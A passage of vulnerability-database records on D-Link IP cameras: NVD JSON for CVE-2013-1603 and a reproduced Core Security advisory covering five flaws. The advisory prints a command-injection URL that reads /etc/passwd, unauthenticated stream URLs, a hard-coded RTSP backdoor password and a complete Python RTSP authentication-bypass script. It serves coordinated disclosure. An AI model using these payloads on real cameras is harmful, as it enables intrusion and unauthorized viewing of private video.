              "matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
              "matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream."
    },
    {
      "lang": "es",
      "value": "Se presenta una vulnerabilidad de Autenticaci\u00f3n en D-LINK WCS-1100 versi\u00f3n 1.02, TESCO DCS-2121 versi\u00f3n 1.05_TESCO, TESCO DCS-2102 versi\u00f3n 1.05_TESCO, DCS-7510 versi\u00f3n 1.00, DCS-7410 versi\u00f3n 1.00, DCS-6410 versi\u00f3n 1.00, DCS-5635 versi\u00f3n 1.01, DCS-5605 versi\u00f3n 1.01, DCS-5230L versi\u00f3n 1.02, DCS-5230 versi\u00f3n 1.02, DCS-3430 versi\u00f3n 1.02, DCS-3411 versi\u00f3n 1.02, DCS-3410 versi\u00f3n 1.02, DCS-2121 versi\u00f3n 1.06_FR, DCS-2121 versi\u00f3n 1.06, DCS-2121 versi\u00f3n 1.05_RU, DCS-2102 versi\u00f3n 1.06_FR, DCS-2102 versi\u00f3n 1.06, DCS-2102 versi\u00f3n 1.05_RU, DCS-1130L versi\u00f3n 1.04, DCS-1130 versi\u00f3n 1.04_US, DCS-1130 versi\u00f3n 1.03, DCS-1100L versi\u00f3n 1.04, DCS-1100 versi\u00f3n 1.04_US y DCS-1100 versi\u00f3n 1.03, debido a credenciales embebidas que sirven como un backdoor, lo que permite a atacantes remotos acceder a la transmisi\u00f3n de video RTSP."
    }
  ],
  "id": "CVE-2013-1603",
  "lastModified": "2024-11-21T01:49:58.650",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 5.0,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 10.0,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2020-01-28T22:15:10.917",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59571"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Permissions Required"
      ],
      "url": "https://vuldb.com/?id.8575"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "http://www.securityfocus.com/bid/59571"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory",
        "VDB Entry"
      ],
      "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Permissions Required"
      ],
      "url": "https://vuldb.com/?id.8575"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-798"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

var-202001-0839
Vulnerability from variot

A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera’s web interface. plural D-Link IP Camera Products include OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. There are security vulnerabilities in multiple D-Link webcam products. Multiple D-Link webcam products '/var/www/cgi-bin/rtpd.cgi' have input validation vulnerabilities that allow remote attackers to exploit vulnerabilities to submit requests similar to the following to execute arbitrary commands in the application context: http:// 192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd. Exploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. Advisory Information

Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release

  1. Vulnerability Information

Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603

  1. Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

  1. [CVE-2013-1600] to access the video stream via HTTP,
  2. [CVE-2013-1601] to access the ASCII video stream via image luminance,
  3. [CVE-2013-1602] to access the video stream via RTSP,
  4. [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.

  5. Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1602] . ALL mentioned devices and firmware.

  1. Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

  1. Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

  1. Technical Description / Proof of Concept Code

7.1. The OS command injection is due to this code in 'rtpd.cgi':

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. Authentication Bypass

[CVE-2013-1600] The live video stream can be accessed without authentication by a remote attacker via the following request:

/----- http://192.168.1.100/upnp/asf-mp4.asf -----/

7.3. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

/----- O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o O O O O O O O O O O O O o o o o . o o o o o o o O O O O O O O O O O o . o O O o . o o o o o o O O O O O O O O O . o o o o o o O O O O O O O O . o o o o o o o o O O O O O O O . o O O o . o o o o o o o o o O O O O O O o . O O O O O O . o o o o o o o o o O O O O O O . O O O O O O O . o o o o o o o o o O O O O O O o O O O O O O O . o . o o o o o o o o O O O O O O o O O O O O O O . o o o . o o o o o o o o O O O O O O o O O O O O O o . o O O o O O . o o o o o o o O O O O O O . o O O O O O O o . O O O o O O . o o o o o o O O O O O O . O O O O O o . O O o o O O o . o o o o o o O O O O O O o O O O O O o . o O O o o O O o . o o o o o O O O O O O O O O O O O . o O O o o O O o . o o o o o O O O O O O O . o O O O o . o o o O o o O O o . o o o o O O O O O O O o . O O O o . o o o O o o O O o . o o o o O O O O O O O O . O O O . o o o O o o O O o . o o o o O O O O O O O O O O O . o o o O o o O O o . o o o O O O O O O O O o o O o o o o o O o o o O o . o o o O O O O O O O O O . O o o o o o O o . o O o . o o O O O O O O O O O . O o . o o o o O . o O o . o O O O O O O O O O o o . o o o o o . o O o . o O O O O O O O O O O . o o o . o . o O o . o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

  1. Authentication is only present in DESCRIBE requests but not in every subsequent request.
  2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker.

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'

class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.CSeq:\s(\d+?)\r\n.', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.
%s\s(.+?)[;|\r].' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass
return data

if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/

7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

/----- username: (any)
password: ?* -----/

As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':

/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/

  1. Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.

  2. References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

  1. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202001-0839",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "dcs-5230",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5635",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-3411",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-3430",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5605",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1130l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-1100l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1100",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102",
        "scope": null,
